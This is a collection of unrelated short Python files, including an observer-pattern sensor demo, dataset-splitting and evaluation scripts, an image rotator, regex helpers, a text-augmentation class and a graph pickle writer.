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3b3f423cfb08413a4135646ea4d3d6dcb5d0cc10
# Based on https://dev.to/jemaloqiu/design-pattern-in-python-2-observer-j4 class AbstractObservable: """ Abstract Observable """ def __init__(self): self.__observers = [] def add_observer(self, observer): self.__observers.append(observer) def remove_observer(self, observer): self.__observers.remove(observer) def notify_observers(self, arg=0): for o in self.__observers: o.update(self, arg) class AbstractObserver: """ Abstract Observer - Abstract device """ def __init__(self): pass def update(self): pass # class MonitorTruck(AbstractObservable): """ Concrete Observable class """ def __init__(self, name): super().__init__() self.name = name self.__physical_properties = {"temperature": 0.0, "humidity": 0.0} def set_value(self, measure_key, val): if measure_key in self.__physical_properties: self.__physical_properties[measure_key] = val self.notify_observers() else: print(f"Parameter type {measure_key} not supported.") def get_value(self, measure_key): return self.__physical_properties.get(measure_key) class Thermometer(AbstractObserver): """ Concrete Observer - Thermometer """ def __init__(self): super().__init__() def update(self, tt, obj): if tt.__class__ == MonitorTruck: temperature = tt.get_value("temperature") if temperature > 37.8: print(f"WARNING - Temperature too high: {temperature}") elif temperature < 36.0: print(f"WARNING - Temperature too slow: {temperature}") else: print(f"INFO - Temperature normal: {temperature}") else: pass class HumidityMeter(AbstractObserver): """ Concrete Observer - humidity meter """ def __init__(self): super().__init__() def update(self, tt, obj): if tt.__class__ == MonitorTruck: humidity_value = tt.get_value("humidity") if humidity_value > 60: print(f"WARNING - humidity too high: {humidity_value}") elif humidity_value < 40: print(f"WARNING - humidity too high: {humidity_value}") else: print(f"INFO - humidity normal: {humidity_value}") else: pass import time if __name__ == "__main__": tuck = MonitorTruck("John") thermometer = Thermometer() humidity = HumidityMeter() ## now kick off the simulation for i in range(0, 15): time.sleep(1.5) print("====== Time step {} =======".format(i + 1)) # At rount #3: thermometer is added for monitoring temperature # At rount #5: humidity is added for monitoring the humidity level # At rount #10: thermometer is removed if i == 3: tuck.add_observer(thermometer) elif i == 5: tuck.add_observer(humidity) elif i == 10: tuck.remove_observer(thermometer) # simulating the physical parameters if i % 3 == 0: tuck.set_value("temperature", 35.5 + 0.5 * i) elif i % 3 == 1: tuck.set_value("humidity", 30 + 3 * i)
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9d3439a2be1f22c8ec59923b88ac22877a4f13e8
n, x = input().split() n = int(n) x = int(x) m = [int(i) for i in input().split()] m.sort(reverse=True) i = 0 res = 0 while x > 0: res += max(0, m[i]) m[i] -= 1 x -= 1 if m[i % n] < m[(i + 1) % n]: i = (i + 1) % n print(res)
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6b2fc94d9a53b8f669cab5e1fb625dd01e20ba98
"""Splits the google speech commands into train, validation and test sets.""" import os import shutil import argparse def move_files(src_folder, to_folder, list_file): with open(list_file) as f: for line in f.readlines(): line = line.rstrip() dirname = os.path.dirname(line) dest = os.path.join(to_folder, dirname) if not os.path.exists(dest): os.mkdir(dest) shutil.move(os.path.join(src_folder, line), dest) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Split google commands train dataset.") parser.add_argument("root", type=str, help="the path to the root folder of te google commands train dataset.") args = parser.parse_args() audio_folder = os.path.join(args.root, "audio") validation_path = os.path.join(audio_folder, "validation_list.txt") test_path = os.path.join(audio_folder, "testing_list.txt") valid_folder = os.path.join(args.root, "valid") test_folder = os.path.join(args.root, "test") train_folder = os.path.join(args.root, "train") os.mkdir(valid_folder) os.mkdir(test_folder) move_files(audio_folder, test_folder, test_path) move_files(audio_folder, valid_folder, validation_path) os.rename(audio_folder, train_folder)
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3e1540a06c478d471f6e6a190cadc44d5c4c2467
import time as t class Record: def __init__(self, value=10, name="name"): self.id = name self.value = value def __get__(self, instance, owner): with open("record.txt", "a") as f: msg = "读取变量%s " % self.id tmp = t.localtime()[:6] form = ["年", "月", "日 ", ":", ":", ""] for i in range(6): msg = msg + str(tmp[i]) + form[i] f.write("\n") f.write(msg) return self.value def __set__(self, instance, value): with open("record.txt", "a") as f: msg = "更改变量%s为%s " % (self.id, str(value)) tmp = t.localtime()[:6] form = ["年", "月", "日 ", ":", ":", ""] for i in range(6): msg = msg + str(tmp[i]) + form[i] f.write("\n") f.write(msg) self.value = value
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ba216642935d19b85e379b66fb514854ebcdedd9
#!/usr/bin/env python3 import subprocess import sys import pickle if len(sys.argv) != 3: print("Usage: std_dev_eval.py <std_dir> <ans>") quit() std_dir = sys.argv[1] std_ans = sys.argv[2] subprocess.call("rm -f {}/result".format(std_dir), shell=True) op_f = open("{}/jobs".format(std_dir), "w") command = "utils/single_query_example.py" query = std_dir + "/query.pkl" doc = std_dir + "/doc.pkl" with open(query, "rb") as fp: query_num = len(pickle.load(fp)) for idx in range(query_num): op_f.write("{} {} {} {} {} >>{}/querywise_result\n".format(command, query, doc, idx, std_ans, std_dir)) op_f.close() subprocess.call("cat {}/jobs | parallel --no-notice -j 4 ".format(std_dir), shell=True) subprocess.call("rm {}/*.pkl".format(std_dir), shell=True) subprocess.call("utils/calculate_std_average_result.py {}/querywise_result >{}/MAP".format(std_dir, std_dir), shell=True)
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cd104eec21be8a59e8fb3bd8ab061dd357fc126a
#!/usr/bin/python3 # -*- coding: utf-8 -*- # Author: xurongzhong#126.com 技术支持qq群：6089740 # CreateDate: 2018-3-27 # pillow_rotate.py import glob import os from PIL import Image def rotate(files, dst, value=90): for file_ in files: img = Image.open(file_) img = img.rotate(value) name = "{}{}{}".format(dst, os.sep, os.path.basename(file_)) img.save(name) src = r"/home/andrew/code/tmp_photos" dst = r"/home/andrew/code/tmp_photos2" common = glob.glob("{}{}*.*".format(src, os.sep)) rotate(common, dst)
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b1c06e9c5516a378c0bbce2ce9e17afaeae01928
import re # Class with static regex compilations class RegexCompiles: # regex for finding product-id in an EMAG link re_compile_product_id = re.compile("Product-Id=[0-9]*") # regex for finding the first number re_compile_id = re.compile("[0-9]+") # Verifies if a word exists in a text def find_whole_word(text, word) -> bool: return re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).search(text) # Verifies if all the words in a given title (given_title) exist in another title (title) def verify_card_title(title, given_title) -> bool: title = title.lower() given_title = given_title.lower() for token in given_title.strip().split(): if find_whole_word(title, token) is None: return False return True # Returns the product id from an emag link def get_product_id(link_to_product) -> int: s_matched = RegexCompiles.re_compile_product_id.search(link_to_product).group() id_matched = RegexCompiles.re_compile_id.search(s_matched).group() return int(id_matched)
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4a88ce640b6680df925288b44232cf43d585c11c
from typing import Any, Dict, List, Optional, Tuple, Union import numpy as np import torch from datasets import concatenate_datasets from datasets.arrow_dataset import Dataset from transfer_classifier.dataset_preprocessor.classification_dataset_preprocessor import ( ClassificationDatasetPreprocessor, ) from transformers import PreTrainedModel from transformers.tokenization_utils import BatchEncoding class Augmentor: def __init__(self) -> None: self.__AUGMENTATION_VALID__ = "VALID" def augment( self, dataset: Dataset, preprocessor: ClassificationDatasetPreprocessor, num_trial: int = 2, discriminator: PreTrainedModel = None, threshold: float = 0.8, ) -> BatchEncoding: augmented_samples = None # type: Optional[BatchEncoding] if discriminator is not None and preprocessor is None: raise Exception("To use discriminator, preprocessor should be required.") for _ in range(num_trial): original = dataset.shuffle() augmented = self.generate(original, preprocessor) if discriminator is not None and preprocessor is not None: matched, log = self.discriminate(discriminator, preprocessor, original, augmented, threshold) def unmatched_to_invalid(example: Dict[str, Any], index: int) -> Dict[str, Any]: example[self.__AUGMENTATION_VALID__] = True if index in matched else False return example augmented = augmented.map(unmatched_to_invalid, with_indices=True) augmented = augmented.filter(lambda e: e[self.__AUGMENTATION_VALID__]) if len(augmented) == 0: continue if augmented_samples is None: augmented_samples = augmented else: augmented_samples = concatenate_datasets([augmented_samples, augmented]) if len(dataset) <= len(augmented_samples): augmented_samples = augmented_samples.select(range(len(dataset))) break if augmented_samples is not None: augmented_samples = augmented_samples.remove_columns([self.__AUGMENTATION_VALID__]) augmented_samples = augmented_samples.flatten_indices() return augmented_samples def generate(self, dataset: Dataset, preprocessor: ClassificationDatasetPreprocessor) -> BatchEncoding: raise NotImplementedError("Augmentor subclass should implement augment_sample.") def discriminate( self, model: PreTrainedModel, preprocessor: ClassificationDatasetPreprocessor, original: Dataset, augmented: Dataset, threshold: float, ) -> Tuple[List[int], List[Dict[str, Union[str, float]]]]: formatted_original = preprocessor.format(original) original_scores = self.predict(model, formatted_original) formatted_augmented = preprocessor.format(augmented) augmented_scores = self.predict(model, formatted_augmented) matched = [] logs = [] for i, original, original_score, augmented, augmented_score in zip( range(len(original)), original, original_scores, augmented, augmented_scores ): if original_score["label"] == augmented_score["label"] and augmented_score["score"] >= threshold: matched.append(i) logs.append( { "original": original[preprocessor.input_column], "original_label": original_score["label"], "original_score": original_score["score"], "augmented": augmented[preprocessor.input_column], "augmented_label": augmented_score["label"], "augmented_score": augmented_score["score"], } ) return (matched, logs) def predict( self, model: PreTrainedModel, examples: Dataset, ) -> List[Dict[str, Union[int, float]]]: model.eval() device = "cuda" if torch.cuda.is_available() else "cpu" model.to(device) with torch.no_grad(): # type: ignore input_ids = examples["input_ids"].to(device) if "token_type_ids" in examples.column_names: token_type_ids = examples["token_type_ids"].to(device) outputs = model(input_ids, token_type_ids=token_type_ids) else: outputs = model(input_ids) predictions = outputs[0].cpu().numpy() scores = np.exp(predictions) / np.exp(predictions).sum(-1, keepdims=True) return [{"label": model.config.id2label[item.argmax()], "score": item.max().item()} for item in scores]
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58d069f6700149793c3446bdd4677f08eaf301ee
"""A utility for outputting graphs as pickle files. To test, run ``openbiolink generate --no-download --no-input --output-format pickle --qual hq``. """ import os import pickle from typing import Mapping from openbiolink.edge import Edge from openbiolink.graph_creation.graph_writer.base import GraphWriter __all__ = [ "GraphPickleWriter", ] class GraphPickleWriter(GraphWriter): format_key = "PICKLE" def write(self, *, tp_nodes, tp_edges: Mapping[str, Edge], tp_namespaces, tn_nodes, tn_edges, tn_namespaces): """Write the graph as pickles.""" with open(os.path.join(self.graph_dir_path, "tp_nodes.pkl"), "wb") as file: pickle.dump(tp_nodes, file, protocol=pickle.HIGHEST_PROTOCOL) with open(os.path.join(self.graph_dir_path, "tp_edges.pkl"), "wb") as file: pickle.dump(tp_edges, file, protocol=pickle.HIGHEST_PROTOCOL) with open(os.path.join(self.graph_dir_path, "tp_namespaces.pkl"), "wb") as file: pickle.dump(tp_namespaces, file, protocol=pickle.HIGHEST_PROTOCOL) with open(os.path.join(self.graph_dir_path, "tn_nodes.pkl"), "wb") as file: pickle.dump(tn_nodes, file, protocol=pickle.HIGHEST_PROTOCOL) with open(os.path.join(self.graph_dir_path, "tn_edges.pkl"), "wb") as file: pickle.dump(tn_edges, file, protocol=pickle.HIGHEST_PROTOCOL) with open(os.path.join(self.graph_dir_path, "tn_namespaces.pkl"), "wb") as file: pickle.dump(tn_namespaces, file, protocol=pickle.HIGHEST_PROTOCOL)
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